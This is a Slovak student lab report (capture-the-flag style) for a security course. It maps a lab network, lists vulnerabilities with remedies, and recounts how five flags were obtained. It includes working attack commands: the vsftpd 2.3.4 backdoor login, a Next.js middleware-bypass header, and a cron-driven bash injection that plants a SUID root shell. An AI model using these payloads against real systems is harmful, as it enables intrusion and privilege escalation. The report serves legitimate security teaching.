



Bezpečnost informačních systémů

Technická správa

1, Mapovanie siete

Zo zadania som sa ako prvé pripojil na užívateľský uzol pomocou príkazu *ssh* podľa zadania.

V prvej úlohe sa od nás vyžadovalo zmapovať sieť na ktorej sme prihlásení. Pomocou príkazu *ip addr* sme zistili, že sme pripojený k nasledujúcim sieťam:

- eth0 10.89.1.154

- eth1 10.89.5.2

Pri práci som využíval iba stroje v sieti 10.89.1.0/24, a preto do nasledujúcej tabuľky zahrniem len tieto stroje:

IP	PORT	Služby	Verzia	Poznámky
10.89.1.1	4077	HTTP	http server	Otvorený http port (Golang net/http server) – Verejné API rozhranie
10.89.1.1	10004–10080	SSH	OpenSSH 8.0	Viacero ssh inštancií
10.89.1.1	27017	MongoDB	---	Databázová služba k správe projektu
10.89.1.3	8080	HTTP	Next.js 15.1.7	Webová aplikácia, identifikované chybové hlášky v konfigurácii.
10.89.1.4	2020	FTP	vsftpd 2.3.4	Verzia ftp so známym backdoor prístupom - OS: Unix
10.89.1.5	4077	HTTP	http server	Identické ako na 10.89.1.1
10.89.1.6	22	SSH	OpenSSH 10.0p2	Beží na OS Debian 7 (End-of-Life systém)

Teraz si rozpíšeme analýzu zraniteľností s možnými opatreniami:

1, Server 10.89.1.1 a 10.89.1.5 - HTTP server (port 4077)

Zraniteľnosť: Server beží na neštandardnom porte (4077) a poskytuje verejne dostupné API, ktoré používa statický API kľúč uložený v kóde. Útočník tak môže získať prístup k citlivým dátam – využité pre získanie tajomstva D.

Príčina: Nevhodná správa API kľúčov a nedostatočná ochrana autentifikačných údajov.

Prevencia: Dynamické API kľúče, rotácia kľúčov a zabezpečenie komunikácie pomocou TLS.

2, Server 10.89.1.1 - Viacero ssh inštancií (port 10004 - 10080)

Zraniteľnosť: Veľa ssh služieb, ktoré by sa dali zneužiť na brute-force útoky.

Príčina: Pravdepodobne prístupy pre jednotlivých študentov.

Prevencia: Zjednotiť ssh na jeden port alebo obmedziť cez firewall.

3, Server 10.89.1.1 – MongoDB (port 27017)

Zraniteľnosť: Port 27017 indikuje MongoDB inštanciu, ktorá často v predvolenej konfigurácii nevyžaduje prihlásenie.

Príčina: Defaultná konfigurácia na 0.0.0.0 bez zapnutej autorizácie.

Prevenčia: Povoliť prístup len z localhostu, vynútiť autentifikáciu užívateľov a nasadiť Firewall.

Poznámka: Ďalej sa MongoDB nevenujem, pretože jej využitie je pre správu projektu.

4, Server 10.89.1.3 – Web App/Next.js (port 8080)

Zraniteľnosť: Aplikácia odhaľuje interné chybové hlášky a poškodené/citlivé autorizačné hlavičky (x-corrupted-auth) – využité pre získanie tajomstva B.

Príčina: Zapnutý "Debug mode" v produkčnom prostredí a nesprávne ošetrenie vstupov/výstupov.

Prevenčia: Vypnutie debug výpisov v produkcii, validácia HTTP hlavičiek a oprava logiky autorizácie.

5, Server 10.89.1.4 – FTP vsftpd 2.3.4 (port 2020)

Zraniteľnosť: Verzia obsahuje známy backdoor (CVE-2011-2523), ktorý umožňuje útočníkovi otvoriť root shell na porte 6200 – využité pre získanie tajomstva A.

Príčina: Použitie kompromitovanej a starej verzie softvéru.

Prevenčia: Okamžitá aktualizácia na stabilnú verziu, prípadne úplné nahradenie nezabezpečeného FTP protokolu za napríklad SFTP.

6, Server 10.89.1.6 – SSH na Legacy OS (port 22)

Zraniteľnosť: Hoci je verzia OpenSSH nová, operačný systém bol identifikovaný ako Debian 7 – na severi informácie potrebné k získaniu tajomstva D.

Príčina: Tento systém má ukončenú podporu (End-of-Life) od roku 2018. Nedostáva bezpečnostné záplaty pre jadro systému.

Prevenčia: Okamžitý upgrade operačného systému na podporovanú verziu a pravidelné aplikovanie bezpečnostných záplat.

2, Nájdenie tajomstiev

1, Tajomstvo A – Tajomstvo A sa nachádzalo na serveri 10.89.1.4. Pre jeho sprístupnenie sa využila služba FTP. Ako bolo popísané v mapovaní siete, tak na serveri je použitá verzia vsftpd 2.3.4, ktorá je známa backdoor prístupom (CVE-2011-2523). Ako prvé som sa teda prihlásil pomocou príkazu `nc -v 10.89.1.4 2020`. Bolo vyžadované zadať meno užívateľa a heslo. Backdoor funguje tak, že je treba v mene USER zahrnúť znaky „:“ a heslo môže byť ľubovoľné. Prihlasovanie prebehlo nasledovne: *USER test:*) a *PASS a*. Tým sa otvoril port 6200 na ktorý som sa prihlásil pomocou príkazu `nc -v 10.89.1.4 6200`. Ďalej som pomocou `cd home` pristúpil k domovskému adresáru a pomocou `grep -Ri "Tajemstvi"` som získal tajomstvo A: `Tajemstvi_A_50c0412c1f7433356e5a4aea824ff849ad3d314ca27070e66e36c069d7cbb2ac`

2, Tajomstvo B – Pri tomto tajomstve som ako prvé skúsil príkaz `curl` na daný server a port, nasledovne: `curl -v http://10.89.1.3:8080/`. Tu som našiel dva endpointy `/chat` a `/auth/signin`. Skúšal som rôzne hlavičky pri `x-corrupted-auth`, ale tam sa mi nedarilo uspieť. Neskôr sa mi podarilo zistiť, že pre verziu Next.js 15.1.7 existuje backdoor prostredníctvom hlavičky `x-middleware-subrequest` (CVE-2025-29927). Keď som následne zadal príkaz: `curl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://10.89.1.3:8080/chat`, tak sa mi v HTML výstupe na konci zjavilo tajomstvo B: `Tajemstvi_B_d7b885d9d908e98b618a6d26cb6993208767d097e1c91eb44247b618d438029b`

3, Tajomstvo C – Toto bolo prvé tajomstvo, na ktorom sa nachádzala nápoveda priamo na úvodnom uzle po prihlásení do projektu. Zadanie odkazovalo na potrebu vykonať brute-force útok na AES-128, pričom sme mali k dispozícii čiastočný šifrovací kľúč. V súbore `partial_key.txt` bolo uvedených prvých 14 bajtov kľúča. Bolo teda potrebné nájsť posledné 2 bajty. V adresári `mail/` sa nachádzali 3 súbory: `encrypted_comms.json`, `notice.eml` a `ping.eml`. Json súbor je správa, ktorú potrebujeme dešifrovať pomocou brute-force útoku na kľúč. Ostatné 2 *.eml súbory udávajú ako má vyzeráť hlavička dešifrovanej správy. Následne som si všetky súbory stiahol lokálne a pomocou krátkeho python skriptu skúsil všetky kombinácie dvoch chýbajúcich bajtov. Následne v dešifrovanej správe nachádzalo tajomstvo C: `Tajemstvi_C_55f8b82e80e76c18313f161feb52356a6c3e9e3c0555bfa5bd83f1a5695763f8`

4, Tajomstvo D – Najskôr som na login uzle v adresári `~/.ssh` objavil alias, ktorý na mieste ip adresy mal `HostName`. Keďže v aliase bol aj napísaný port 22, rozhodol som sa na mieste `HostName` dať server 10.89.1.6. Po `ssh data-vault` som sa úspešne prihlásil. Na serveri sa nachádzal súbor `abyssal_client.py`, ktorý obsahoval definíciu endpointu: `POST {base_url}/ask` s hlavičkami: `Content-Type: application/json` a `X-API-Key: <api_key>` a telom požiadavku `{"session_id": <session_id>}`. `X-API-Key` som našiel v `abyssal_client` adresári v podadresári `.git` v git logoch alebo bolo možné ho nájsť aj v súbore `config.py`. Na základe toho som zostavil kompletný API dotaz:

```
curl -X POST \
-H "Content-Type: application/json" \
-H "X-API-Key: 6da1ddfdbbc2dc0fc63ec2245ede91c85" \
-d '{"session_id": ""}' \
```

<http://10.89.1.1:4077/ask>

Server v odpovedi vrátil nové `session_id`, ktoré bolo potrebné používať v ďalších požiadavkách. Následne sa dalo pomocou opakovaných požiadavkou získať tajomstvo D znak po znaku. Keď sme znaky spojili dokopy získali sme tajomstvo D:

Tajemstvi_D_76ab3ba3d041886775533c19368964d32e7670784f6e63cfefe34ff80084ed33

5, Tajomstvo E – Prekvapivo všetky podstatné informácie k zisku tajomstva sa nachádzali na login uzle. Pre zisk tajomstva sa využil BASH EQ exploit v kombinácii so službou CRON. V adresári `usr/local/bin` sa nachádza bash script, ktorý bol spúšťaný prostredníctvom CRONu s root právami. V používateľskom adresári, bolo treba vytvoriť súbor `daily_tasks.tasks`. Cieľom bolo eskalovať práva, aby sme získali root práva. To sa podarilo týmto riadkom, ktorý bol vložený do `daily_tasks.tasks`: `999|user|a[$(cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash && echo 0)]+100|test|test`. Aby sme si v skratke popísali o čo ide, súbor `daily_tasks.tasks` je parsovaný v nasledujúcom formáte: `TASKID|OWNER|STATUS|TASK_DESCRIPTION|NOTES`, z čoho nás najviac zaujímal stĺpec `STATUS`, ktorý bol vyhodnocovaný pomocou BASH EQ. Zmyslom bolo injektovať kód, ktorý nám vytvorí súbor s root právami a zároveň výstup príkazu musí byť číslo. CRON sa vykonával každých 5 minút. Po tom čo spracoval náš súbor sa v adresári `/tmp` vytvoril súbor `rootbash`, ktorý vďaka nastavenému SUID bitu nám umožnil získať root práva, príkazom `/tmp/rootbash -p`. S root právami ma napadlo skontrolovať čo sa nachádza v `/root` adresári. Po napísaní príkazu `cat entrypointh.sh` som skúšal `ls -la` na jednotlivé adresári, ktoré sa tam nachádzali a po `ls -la /model` sa zjavil zaujímavý súbor `abyssal_v7.2.arch`. Následne po príkaze `cat /model/abyssal_v7.2.arch` sa objavilo tajomstvo E:

Tajemstvi_E_8a1a9bcb62da06a0aafa26002444b200f871fb9b9ff6ab228c76ba2afd7b9cb5